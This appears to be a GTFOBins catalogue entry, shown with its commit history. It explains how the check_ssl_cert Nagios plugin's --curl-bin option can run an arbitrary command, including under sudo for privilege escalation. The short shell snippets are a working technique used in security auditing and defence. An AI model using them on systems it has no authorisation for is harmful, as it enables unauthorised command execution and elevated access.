GTFOBins.github.io/_gtfobins/check_ssl_cert.md

27 lines
749 B
Markdown
Raw Normal View History

2020-11-12 14:21:00 +01:00
---
description: |
This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
2020-11-12 14:21:00 +01:00
functions:
command:
- description: The host example.net must return a certificate via TLS
code: |
COMMAND=id
OUTPUT=output_file
2020-11-12 21:36:18 +01:00
TF=$(mktemp)
echo "$COMMAND | tee $OUTPUT" > $TF
2020-11-12 21:36:18 +01:00
chmod +x $TF
check_ssl_cert --curl-bin $TF -H example.net
2020-11-12 21:36:18 +01:00
cat $OUTPUT
2020-11-12 14:21:00 +01:00
sudo:
- description: The host example.net must return a certificate via TLS
code: |
COMMAND=id
OUTPUT=output_file
2020-11-12 21:36:18 +01:00
TF=$(mktemp)
echo "$COMMAND | tee $OUTPUT" > $TF
2020-11-12 21:36:18 +01:00
chmod +x $TF
umask 022
check_ssl_cert --curl-bin $TF -H example.net
2020-11-12 21:36:18 +01:00
cat $OUTPUT
2020-11-12 14:21:00 +01:00
---